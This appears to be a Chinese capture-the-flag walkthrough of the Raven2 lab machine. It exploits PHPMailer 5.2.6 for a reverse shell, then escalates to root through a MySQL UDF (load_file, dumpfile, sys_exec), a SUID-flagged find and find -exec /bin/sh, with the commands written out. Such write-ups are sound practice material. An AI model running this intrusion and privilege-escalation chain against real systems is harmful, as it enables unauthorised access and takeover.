Raven2靶机
主机信息收集
靶机开放端口
开放端口服务详细版本
网站的框架为wordpress和路径枚举信息
网站主页
wordpress后台地址
查看wordpress 版本,已经限制,不能查看版本
查看/vendor/目录
PATH文件中有绝对路径
VERSION文件中有版本号
再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,
如 PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。
于是使用 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp。这里我们使用40974
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit -m 40974.py .
把payload复制到当前目录下进行修改
1.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。
2.修改target为靶机IP地址,利用文件为contact.php。
3.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。
4. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。
5、使用python3 运行脚本
成功反弹shell
完善shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
接下来就是提权
查看计划任务
查看可登录账号
查找当前用户能够执行的s位文件
find / -perm -u=s -type f 2>/dev/null
查看那些服务有开放网络连接
启用了22(ssh),111(rpcbind),3306(mysql) 等服务
尝试爆破ssh但是没字典
数据库提权
那么查找一下数据库配置文件,
cat 那么查找一下数据库配置文件,
wordpress的配置文件名称叫wp-config.php
全局查找 find / -name wp-config.php
查看配置文件中的账号密码
有了mysql数据库的账号密码,而mysql一般都是root权限,可以尝试mysql提权
版本为5.5.60
下面尝试mysql提权方法,udf提权
mysql -uroot -pR@v3nSecurity
查看能否远程登陆
use mysql;
select user,host from user;
发现root用户不允许远程登陆,因此不能利用MSF提权,所以只能尝试udf提权
根据靶机mysql版本,选着MySQL 4.x/5.0 (Linux)
复制到当前目录下
searchsploit -m 1518.c .
gcc -g -c 1518.c —GCC编译.o文件
gcc -g -shared -o yc.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
1.当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2.当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3.当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
我们是大于5.1的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下
下载到靶机
下载动态链接库到靶机
开始配置
show databases;
use mysql;
select database();
创建数据表myfunc
create table myfunc(line blob);
插入数据
插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据
insert into myfunc values(load_file(‘/var/www/html/lib_mysqludf_sys_64.so’));
导出文件
使用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
select * from myfunc into dumpfile ‘/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so’;
使用sys_exec 函数
create function sys_exec returns integer soname ‘lib_mysqludf_sys_64.so’;
查询一下,有就成功了
利用自定义函数改变find命令权限
select sys_exec(‘chmod u+s /usr/bin/find’);
开始提权
退出数据库
新建一个文件hello
touch hello #创建hello文件
使用find命令查找这个文件
find hello -exec “/bin/sh” \;
并使用find命令执行shell命令
find执行shell命令后
可以看到已经提升到root权限了whoami
查找一下剩下的flag
完结撒花~~~
暂无评论内容